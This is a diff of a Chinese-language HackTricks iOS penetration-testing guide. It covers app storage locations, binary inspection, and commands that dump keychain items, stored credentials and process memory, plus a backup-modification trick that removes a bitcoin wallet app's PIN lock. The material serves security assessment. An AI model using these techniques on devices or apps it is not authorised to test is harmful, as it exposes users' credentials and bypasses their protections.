* [ ] 检查JavaScript是否可以访问**本地** **方法**`JSContext``postMessage`
* [ ] 检查**`javaScriptEnabled`**、**`JavaScriptCanOpenWindowsAutomatically`**、**`hasOnlySecureContent`**的状态
* [ ] 检查Webview是否可以使用协议**file://**访问本地文件**`allowFileAccessFromFileURLs`、`allowUniversalAccessFromFileURLs`
* [ ] 检查JavaScript是否可以访问**本地** **方法**`JSContext``postMessage`
### 网络通信
* [ ] 执行**中间人攻击**到通信并搜索Web漏洞。
@ -119,7 +119,7 @@
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -131,8 +131,8 @@
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,6 +1,6 @@
# iOS渗透测试
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)来轻松构建和**自动化工作流**,使用世界上**最先进**的社区工具。\
@ -16,7 +16,7 @@
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)系列
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
@ -30,7 +30,7 @@
## 测试环境
在此页面,您可以找到关于**iOS模拟器**、**模拟器**和**越狱**的信息:
在此页面,您可以找到关于**iOS模拟器**、**模拟器**和**越狱**的信息:
{% content-ref url="ios-testing-environment.md" %}
[ios-testing-environment.md](ios-testing-environment.md)
@ -176,10 +176,10 @@ PID Name Identifier
* **`Info.plist`**:此文件保存应用程序的特定配置详细信息。
* **`_CodeSignature/`**:此目录包含一个包含签名的 plist 文件,确保捆绑包中所有文件的完整性。
* **`Assets.car`**:存储像图标这样的资文件的压缩存档。
* **`Assets.car`**:存储像图标这样的资文件的压缩存档。
* **`Frameworks/`**:此文件夹包含应用程序的本机库,可能是 `.dylib``.framework` 文件的形式。
* **`PlugIns/`**:这可能包括应用程序的扩展,称为 `.appex` 文件,尽管它们并不总是存在。
* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用、缓存临时数据,并在单个设备上为应用程序添加撤销功能。为了在单个 iCloud 帐户中的多个设备之间同步数据Core Data 会自动将您的模式镜像到 CloudKit 容器中。
* [**`Core Data`**](https://developer.apple.com/documentation/coredata):用于保存应用程序的永久数据以供离线使用、缓存临时数据,并在单个设备上为应用程序添加撤销功能。为了在单个 iCloud 帐户中跨多个设备同步数据Core Data 会自动将您的模式镜像到 CloudKit 容器中。
* [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html)`PkgInfo` 文件是指定应用程序或捆绑包的类型和创建者代码的另一种方式。
* **en.lproj, fr.proj, Base.lproj**:是包含这些特定语言资源的语言包,以及在不支持某种语言时的默认资源。
* **安全性**`_CodeSignature/` 目录通过数字签名验证所有捆绑文件的完整性,在应用程序的安全性方面起着关键作用。
@ -189,7 +189,7 @@ PID Name Identifier
**Info.plist**
**Info.plist** 作为 iOS 应用程序的基石,以**键-值**对的形式封装关键配置数据。这个文件不仅对应用程序是必需的,对于打包在其中的应用程序扩展和框架也是必需的。它以 XML 或二进制格式结构化,并包含从应用程序权限到安全配置等关键信息。要详细探索可用键,可以参考[**Apple 开发人员文档**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc)。
**Info.plist** 作为 iOS 应用程序的基石,以**键-值**对的形式封装关键配置数据。这个文件不仅对应用程序是必需的,对于打包在其中的应用程序扩展和框架也是必需的。它以 XML 或二进制格式结构化,并包含从应用权限到安全配置等关键信息。要详细探索可用键,可以参考[**Apple 开发文档**](https://developer.apple.com/documentation/bundleresources/information\_property\_list?language=objc)。
对于希望以更易访问的格式处理此文件的人,可以通过 macOS 上的 `plutil`(在版本 10.2 及更高版本中本地可用)或 Linux 上的 `plistutil` 轻松实现 XML 转换。转换的命令如下:
@ -197,7 +197,7 @@ PID Name Identifier
```bash
$ plutil -convert xml1 Info.plist
```
* **对于Linux操作系统**
* **对于Linux系统**
```bash
$ apt install libplist-utils
$ plistutil -i Info.plist -o Info_xml.plist
@ -232,44 +232,48 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
```
**Bundle directory:**
* **AppName.app**
* 这是应用程序包与IPA文件中看到的一样其中包含基本的应用程序数据、静态内容以及应用程序的编译二进制文件。
* 此目录对用户可见,但**用户无法对其进行写入**。
* 此目录中的内容**不会被备份**。
* 此文件夹的内容用于**验证代码签名**。
* **Bundle目录**
* **AppName.app**
* 这是应用程序包与IPA中看到的一样包含基本应用程序数据、静态内容以及应用程序的编译二进制文件。
* 该目录对用户可见,但**用户无法写入**。
* 该目录中的内容**不会被备份**。
* 该文件夹的内容用于**验证代码签名**。
**Data directory:**
* **Documents/**
* 包含所有用户生成的数据。应用程序最终用户启动此数据的创建。
* 对用户可见,**用户可以对其进行写入**。
* 此目录中的内容**已备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/**
* 包含所有**非特定于用户**的文件,如**缓存**、**首选项**、**cookies**和属性列表plist配置文件。
* iOS应用程序通常使用`Application Support`和`Caches`子目录,但应用程序可以创建自定义子目录。
* **Library/Caches/**
* 包含**半持久性缓存文件**。
* 对用户不可见,**用户无法对其进行写入**。
* 此目录中的内容**不会被备份**。
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
* **Library/Application Support/**
* 包含运行应用程序所需的**持久性文件**。
* 对用户**不可见**,用户无法对其进行写入。
* 此目录中的内容**已备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/Preferences/**
* 用于存储属性,这些属性可以在应用程序重新启动后**持久存在**。
* 信息以未加密的方式保存在应用程序沙盒中的名为\[BUNDLE\_ID].plist的plist文件中。
* 使用`NSUserDefaults`存储的所有键/值对都可以在此文件中找到。
* **tmp/**
* 使用此目录来写入**不需要在应用程序启动之间持久存在**的**临时文件**。
* 包含非持久性缓存文件。
* 对用户不可见。
* 此目录中的内容不会被备份。
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除此目录中的文件。
* **数据目录:**
让我们更仔细地查看iGoat-Swift的应用程序包(.app)目录位于Bundle目录内(`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)
* **Documents/**
* 包含所有用户生成的数据。应用程序最终用户启动了这些数据的创建。
* 对用户可见,**用户可以写入**。
* 该目录中的内容**会被备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/**
* 包含所有**非特定于用户的文件**,如**缓存**、**首选项**、**cookies**和属性列表plist配置文件。
* iOS应用程序通常使用`Application Support`和`Caches`子目录,但应用程序可以创建自定义子目录。
* **Library/Caches/**
* 包含**半持久性缓存文件**。
* 对用户不可见,**用户无法写入**。
* 该目录中的内容**不会被备份**。
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除该目录中的文件。
* **Library/Application Support/**
* 包含运行应用程序所需的**持久性文件**。
* 对用户**不可见**,用户无法写入。
* 该目录中的内容**会被备份**。
* 应用程序可以通过设置`NSURLIsExcludedFromBackupKey`来禁用路径。
* **Library/Preferences/**
* 用于存储属性,这些属性可以在应用程序重新启动后**持久存在**。
* 信息以未加密的方式保存在应用程序沙盒中的名为\[BUNDLE\_ID].plist的plist文件中。
* 使用`NSUserDefaults`存储的所有键/值对都可以在此文件中找到。
* **tmp/**
* 使用此目录来写入**不需要在应用程序启动之间持久存在**的**临时文件**。
* 包含非持久性缓存文件。
* 对用户**不可见**。
* 该目录中的内容**不会被备份**。
* 当应用程序未运行且存储空间不足时,操作系统可能会自动删除该目录中的文件。
让我们更仔细地查看iGoat-Swift的应用程序包(.app)目录位于Bundle目录内 (`/var/containers/Bundle/Application/3ADAF47D-A734-49FA-B274-FBCA66589E67/iGoat-Swift.app`)
```bash
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # ls
NSFileType Perms NSFileProtection ... Name
@ -283,9 +287,9 @@ Regular 420 None ... LICENSE.txt
Regular 420 None ... Sentinel.txt
Regular 420 None ... README.txt
```
### 二进制反向
### 二进制反向工程
`<application-name>.app` 文件夹中,您会找到一个名为 `<application-name>` 的二进制文件。这是将被**执行**的文件。您可以使用工具**`otool`**对二进制文件进行基本检查:
`<application-name>.app` 文件夹中,您会找到一个名为 `<application-name>` 的二进制文件。这是将被**执行**的文件。您可以使用工具 **`otool`** 对二进制文件进行基本检查:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -321,7 +325,7 @@ DVIA-v2:
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
```
要打印示例应用程序的**Objective-C**,可以使用:
要打印示例应用程序的**Objective-C部分**,可以使用:
```bash
otool -oV DVIA-v2
DVIA-v2:
@ -363,10 +367,10 @@ double _field2;
```
然而,拆解二进制文件的最佳选项是:[**Hopper**](https://www.hopperapp.com/download.html?) 和 [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/)。
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可以轻松构建和**自动化工作流程**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -380,17 +384,17 @@ double _field2;
{% endcontent-ref %}
{% hint style="warning" %}
应该在**安装应用程序后**立即检查以下存储信息的位置,**在检查应用程序的所有功能**之后,甚至在**从一个用户注销并登录到另一个用户**之后。\
应该在**安装应用程序后**、**检查应用程序的所有功能后**,甚至在**从一个用户注销并登录到另一个用户后**立即检查以下存储信息的位置。\
目标是查找应用程序(密码、令牌)、当前用户和先前登录用户的**未受保护的敏感信息**。
{% endhint %}
### Plist
**plist** 文件是结构化的 XML 文件,**包含键值对**。这是一种存储持久数据的方式,因此有时您可能会在这些文件中找到**敏感信息**。建议在安装应用程序后和大量使用应用程序后检查这些文件,以查看是否写入了新数据。
**plist** 文件是结构化的 XML 文件,**包含键值对**。这是一种存储持久数据的方式,因此有时您可能会在这些文件中找到**敏感信息**。建议在安装应用程序后和大量使用后检查这些文件,以查看是否写入了新数据。
在 plist 文件中持久保存数据的最常见方式是通过使用**NSUserDefaults**。此 plist 文件保存在应用程序沙盒中的**`Library/Preferences/<appBundleID>.plist`** 中。
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 类提供了与默认系统交互的编程接口。默认系统允许应用程序根据**用户偏好**自定义其行为。由 `NSUserDefaults` 保存的数据可以在应用程序包中查看。此类将**数据**存储在**plist** **文件**中,但应该与少量数据一起使用。
[`NSUserDefaults`](https://developer.apple.com/documentation/foundation/nsuserdefaults) 类提供了与默认系统进行交互的编程接口。默认系统允许应用程序根据**用户偏好**自定义其行为。由 `NSUserDefaults` 保存的数据可以在应用程序包中查看。此类将**数据**存储在**plist** **文件**中,但应该与少量数据一起使用。
这些数据无法直接通过受信任的计算机访问,但可以通过**备份**访问。
@ -422,7 +426,7 @@ CoreData默认不加密其数据。然而可以向CoreData添加额外的加
您可以在路径`/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`中找到应用程序的SQLite Core Data信息。
**如果您可以打开SQLite并访问敏感信息表示您发现了一个配置错误。**
**如果您可以打开SQLite并访问敏感信息则发现了一个配置错误。**
{% code title="iGoat中的代码" %}
```objectivec
@ -457,7 +461,7 @@ NSLog(@"data stored in core data");
### 其他 SQLite 数据库
应用程序通常会创建自己的 SQLite 数据库。它们可能在其中存储敏感数据,并且未加密。因此,检查应用程序目录中的每个数据库始终是一件有趣的事情。因此,请转到保存数据的应用程序目录 (`/private/var/mobile/Containers/Data/Application/{APPID}`)。
应用程序通常会创建自己的 SQLite 数据库。它们可能在其中存储敏感数据并将其保留为未加密。因此,检查应用程序目录中的每个数据库始终是一件有趣的事情。因此,请转到保存数据的应用程序目录 (`/private/var/mobile/Containers/Data/Application/{APPID}`)。
```bash
find ./ -name "*.sqlite" -or -name "*.db"
```
@ -475,7 +479,7 @@ find ./ -name "*.sqlite" -or -name "*.db"
[Realm Objective-C](https://realm.io/docs/objc/latest/) 和 [Realm Swift](https://realm.io/docs/swift/latest/) 提供了一个强大的数据存储替代方案,苹果没有提供。默认情况下,它们以未加密的方式存储数据,可以通过特定配置进行加密。
这些数据库位于:`/private/var/mobile/Containers/Data/Application/{APPID}`。要查看这些文件,可以使用下命令:
这些数据库位于:`/private/var/mobile/Containers/Data/Application/{APPID}`。要查看这些文件,可以使用下命令:
```bash
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
default.realm default.realm.lock default.realm.management/ default.realm.note|
@ -529,27 +533,27 @@ iOS将应用程序的cookies存储在每个应用程序文件夹中的**`Library
默认情况下NSURLSession将数据如**HTTP请求和响应存储在Cache.db**数据库中。如果令牌、用户名或任何其他敏感信息已被缓存,该数据库可能包含**敏感数据**。要查找缓存的信息,请打开应用程序的数据目录(`/var/mobile/Containers/Data/Application/<UUID>`),然后转到`/Library/Caches/<Bundle Identifier>`。**WebKit缓存也存储在Cache.db**文件中。**Objection**可以使用命令`sqlite connect Cache.db`打开并与数据库交互,因为它是一个**普通的SQLite数据库**。
**建议禁用缓存这些数据**,因为请求或响应中可能包含敏感信息。下面的列表显示了实现此目的的不同方法:
**建议禁用缓存这些数据**,因为请求或响应中可能包含敏感信息。下列表显示了实现此目的的不同方法:
1. 建议在注销后删除缓存的响应。可以使用苹果提供的名为[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)的方法来执行此操作。您可以按如下方式调用此方法:
`URLCache.shared.removeAllCachedResponses()`
此方法将从Cache.db文件中删除所有缓存的请求和响应。
2. 如果您不需要使用cookies的优势建议只使用URLSession的[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)配置属性,这将禁用保存cookies和缓存。
2. 如果您不需要使用Cookie的优势建议只使用URLSession的[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)配置属性,这将禁用保存Cookie和缓存。
[苹果文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
[苹果文档](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)
`一个临时会话配置对象类似于默认会话配置请参阅default不同之处在于相应的会话对象不会将缓存、凭据存储或任何会话相关数据存储到磁盘。相反会话相关数据存储在RAM中。临时会话仅在您告诉它将URL的内容写入文件时才将数据写入磁盘。`
`一个临时会话配置对象类似于默认会话配置请参阅default不同之处在于相应的会话对象不会将缓存、凭据存储或任何会话相关数据存储到磁盘。相反会话相关数据存储在RAM中。临时会话仅在您告诉它将URL的内容写入文件时才将数据写入磁盘。`
3. 通过将缓存策略设置为[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)也可以禁用缓存。这将禁止以任何方式存储缓存,无论是在内存中还是在磁盘上。
### 快照
每当按下主屏幕按钮时iOS都会**拍摄当前屏幕的快照**,以便能够更流畅地切换到应用程序。然而,如果当前屏幕中存在**敏感数据**,它将被**保存**在**图像**中(这将**持续** **跨** **重启**)。这些快照也可以通过双击主屏幕来访问,以在应用程序之间切换。
每当按下主屏幕按钮时iOS都会**拍摄当前屏幕的快照**,以便能够更流畅地切换到应用程序。然而,如果当前屏幕中存在**敏感数据**,它将被**保存**在**图像**中(这将**持续** **跨** **重启**)。这些是您也可以通过双击主屏幕访问的快照,以在应用程序之间切换。
除非iPhone已越狱**攻击者**需要**解锁**设备才能查看这些屏幕截图。默认情况下,最后一个快照存储在应用程序的沙盒中的`Library/Caches/Snapshots/`或`Library/SplashBoard/Snapshots`文件夹中受信任的计算机无法从iOS 7.0访问文件系统)。
防止这种不良行为的一种方法是在拍摄快照之前放置空白屏幕或删除敏感数据,使用`ApplicationDidEnterBackground()`函数。
防止这种不良行为的一种方法是在拍摄快照之前使用`ApplicationDidEnterBackground()`函数放置空白屏幕或删除敏感数据
以下是一个设置默认屏幕截图的示例修复方法。
@ -587,7 +591,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
### Keychain
要访问和管理iOS钥匙串可以使用诸如[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)之类的工具,适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection)提供了`ios keychain dump`命令,用于类似的目的。
要访问和管理iOS钥匙串可以使用像[**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper)这样的工具,适用于越狱设备。此外,[**Objection**](https://github.com/sensepost/objection)提供了`ios keychain dump`命令,用于类似的目的。
#### **存储凭据**
@ -597,26 +601,24 @@ NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
```
要提取这些存储的凭据使用Objection的命令 `ios nsurlcredentialstorage dump`
## **自定义键盘和键盘缓存**
从iOS 8.0开始,用户可以安装自定义键盘扩展,在**设置 > 通用 > 键盘 > 键盘**下可管理。虽然这些键盘提供了扩展功能,但存在记录按键和将数据传输到外部服务器的风险,尽管用户会收到通知,指出需要网络访问的键盘。应用程序可以并且应该限制对自定义键盘输入敏感信息的使用
从iOS 8.0开始,用户可以安装自定义键盘扩展,在**设置 > 通用 > 键盘 > 键盘**下可管理。虽然这些键盘提供了扩展功能,但存在记录按键和将数据传输到外部服务器的风险,尽管用户会收到通知,指出需要网络访问的键盘。应用程序可以并且应该限制对自定义键盘输入敏感信息。
**安全建议:**
* 建议禁用第三方键盘以增强安全性。
* 注意默认iOS键盘的自动更正和自动建议功能可能会将敏感信息存储在位于 `Library/Keyboard/{locale}-dynamic-text.dat` `/private/var/mobile/Library/Keyboard/dynamic-text.dat` 的缓存文件中。应定期检查这些缓存文件中是否包含敏感数据。建议通过**设置 > 通用 > 重置 > 重置键盘字典**来清除缓存数据。
* 注意默认iOS键盘的自动更正和自动建议功能可能会将敏感信息存储在`Library/Keyboard/{locale}-dynamic-text.dat`或`/private/var/mobile/Library/Keyboard/dynamic-text.dat`中的缓存文件中。应定期检查这些缓存文件中是否存在敏感数据。建议通过**设置 > 通用 > 重置 > 重置键盘字典**来清除缓存数据。
* 拦截网络流量可以揭示自定义键盘是否远程传输按键。
### **防止文本字段缓存**
[UITextInputTraits 协议](https://developer.apple.com/reference/uikit/uitextinputtraits)提供了管理自动更正和安全文本输入的属性,对于防止敏感信息缓存至关重要。例如,通过禁用自动更正和启用安全文本输入,可以实现:
[UITextInputTraits协议](https://developer.apple.com/reference/uikit/uitextinputtraits)提供了管理自动更正和安全文本输入的属性,对于防止敏感信息缓存至关重要。例如,通过禁用自动更正和启用安全文本输入,可以实现:
```objectivec
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
textObject.secureTextEntry = YES;
```
开发人员应确保文本字段特别是用于输入密码和PIN等敏感信息的字段通过将`autocorrectionType`设置为`UITextAutocorrectionTypeNo`和`secureTextEntry`设置为`YES`来禁用缓存。
开发人员应确保文本字段特别是用于输入密码和PIN等敏感信息的字段通过将`autocorrectionType`设置为`UITextAutocorrectionTypeNo`和`secureTextEntry`设置为`YES`来禁用缓存。
```objectivec
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
textField.autocorrectionType = UITextAutocorrectionTypeNo;
@ -625,11 +627,11 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
调试代码通常涉及使用**日志**。存在风险,因为**日志可能包含敏感信息**。在iOS 6及更早版本中日志对所有应用程序都是可访问的存在敏感数据泄漏的风险。**现在,应用程序仅限于访问自己的日志**。
尽管存在这些限制,**拥有物理访问权限的攻击者**仍可以利用这一点,通过将设备连接到计算机并**读取日志**。需要注意的是,即使在应用程序卸载后,日志仍然保留在磁盘上。
尽管存在这些限制,**拥有物理访问权限**的攻击者仍可以利用这一点,通过将设备连接到计算机并**读取日志**。需要注意的是,即使在应用程序卸载后,日志仍然保留在磁盘上。
为了减轻风险,建议**全面与应用程序进行交互**,探索其所有功能和输入,以确保没有意外记录敏感信息。
为了减轻风险,建议**与应用程序进行全面交互**,探索其所有功能和输入,以确保没有意外记录敏感信息。
在审查应用程序源代码以查找潜在泄漏时,查找**预定义**和**自定义日志记录语句**,使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`用于内置函数,以及任何提及`Logging`或`Logfile`的自定义实现。
在审查应用程序源代码以查找潜在泄漏时,查找**预定义**和**自定义日志记录语句**,使用关键字如`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`用于内置函数,以及任何提及`Logging`或`Logfile`的自定义实现。
### **监控系统日志**
@ -638,7 +640,7 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
```
外,**Xcode** 提供了一种收集控制台日志的方法:
以下步骤是有用的。此外,**Xcode** 提供了一种收集控制台日志的方法:
1. 打开 Xcode。
2. 连接 iOS 设备。
@ -651,21 +653,21 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
观察日志活动的命令非常宝贵,可用于诊断问题或识别日志中潜在数据泄漏。
观察日志活动的命令非常宝贵,可用于诊断问题或识别日志中潜在数据泄漏。
***
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流**,搭载世界上**最先进**的社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 备份
**自动备份功能**已集成到iOS中通过iTunes在macOS Catalina之前、Finder从macOS Catalina开始或iCloud方便地创建设备数据副本。这些备份几乎包含所有设备数据但不包括高度敏感的元素如Apple Pay详细信息和Touch ID配置。
**自动备份功能**已集成到 iOS 中,通过 iTunes直到 macOS Catalina、Finder从 macOS Catalina 开始)或 iCloud便于创建设备数据副本。这些备份几乎包含所有设备数据,但不包括高度敏感的元素,如 Apple Pay 详细信息和 Touch ID 配置。
### 安全风险
@ -673,13 +675,13 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### 从备份中排除文件
`Documents/`和`Library/Application Support/`中的文件会被默认备份。开发人员可以使用`NSURL setResourceValue:forKey:error:`和`NSURLIsExcludedFromBackupKey`从备份中排除特定文件或目录。这一做法对于保护敏感数据不被包含在备份中至关重要。
默认情况下,`Documents/` 和 `Library/Application Support/` 中的文件会被备份。开发人员可以使用 `NSURL setResourceValue:forKey:error:``NSURLIsExcludedFromBackupKey` 从备份中排除特定文件或目录。这一做法对于保护敏感数据不被包含在备份中至关重要。
### 漏洞测试
要评估应用程序的备份安全性,首先使用Finder创建一个备份然后根据[Apple的官方文档](https://support.apple.com/en-us/HT204215)中的指导找到它。分析备份中的敏感数据或配置,以确定可能会影响应用程序行为的内容。
要评估应用程序的备份安全性,首先通过 Finder **创建一个备份**,然后根据[苹果官方文档](https://support.apple.com/en-us/HT204215)中的指导找到备份位置。分析备份中的敏感数据或配置,以确定可能会影响应用行为的内容。
可以使用命令行工具或应用程序如[iMazing](https://imazing.com)来查找敏感信息。对于加密备份可以通过检查备份根目录中“Manifest.plist”文件中的“IsEncrypted”键来确认是否加密。
可以使用命令行工具或应用程序如 [iMazing](https://imazing.com) 查找敏感信息。对于加密备份,可以通过检查备份根目录中的 "Manifest.plist" 文件中的 "IsEncrypted" 键来确认是否加密。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -692,23 +694,23 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
...
</plist>
```
### 处理加密备份
## 处理加密备份
对于处理加密备份,[DinoSec的GitHub存储库](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)中提供的Python脚本如**backup\_tool.py**和**backup\_passwd.py**可能会很有用尽管可能需要调整以与最新的iTunes/Finder版本兼容。另一个访问受密码保护备份中文件的选择是[**iOSbackup**工具](https://pypi.org/project/iOSbackup/)。
对于处理加密备份,[DinoSec 的 GitHub 仓库](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)中提供的 Python 脚本,如 **backup\_tool.py** **backup\_passwd.py**可能会很有用,尽管可能需要调整以与最新的 iTunes/Finder 版本兼容。另一个访问受密码保护备份中文件的选择是 [**iOSbackup** 工具](https://pypi.org/project/iOSbackup/)。
### 修改应用程序行为
通过备份修改来改变应用程序行为的示例在[Bither比特币钱包应用](https://github.com/bither/bither-ios)中进行了演示其中UI锁定PIN存储在`net.bither.plist`中的**pin\_code**键下。从plist中移除此键并恢复备份将删除PIN要求,提供无限制访问。
通过备份修改来改变应用程序行为的示例可在 [Bither 比特币钱包应用](https://github.com/bither/bither-ios)中找到,其中 UI 锁定 PIN 存储在 `net.bither.plist` 中的 **pin\_code** 键下。从 plist 中移除此键并恢复备份将删除 PIN 要求,提供无限制访问。
## 敏感数据的内存测试总结
处理存储在应用程序内存中的敏感信息时,限制此数据的暴露时间至关重要。调查内存内容有两种主要方法:**创建内存转储**和**实时分析内存**。这两种方法都有各自的挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
处理存储在应用程序内存中的敏感信息时,限制此数据的暴露时间至关重要。有两种主要方法来调查内存内容:**创建内存转储** 和 **实时分析内存**。这两种方法都有其挑战,包括在转储过程或分析过程中可能错过关键数据的风险。
## **检索和分析内存转储**
对于越狱和非越狱设备,诸如[objection](https://github.com/sensepost/objection)和[Fridump](https://github.com/Nightbringer21/fridump)之类的工具允许转储应用程序的进程内存。一旦转储完成,分析这些数据需要使用各种工具,具体取决于您正在搜索的信息的性质。
对于越狱和非越狱设备,诸如 [objection](https://github.com/sensepost/objection) 和 [Fridump](https://github.com/Nightbringer21/fridump) 这样的工具允许转储应用程序进程内存。一旦转储完成,分析这些数据需要使用各种工具,具体取决于您正在搜索的信息的性质。
要从内存转储中提取字符串,可以使用`strings`或`rabin2 -zz`等命令:
要从内存转储中提取字符串,可以使用诸如 `strings``rabin2 -zz`命令:
```bash
# Extracting strings using strings command
$ strings memory > strings.txt
@ -733,7 +735,7 @@ $ r2 frida://usb//<name_of_your_app>
### 密钥管理流程不当
一些开发人员会将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥对其进行加密。这样做是不应该的,因为一些逆向工程可能会使攻击者提取机密信息。
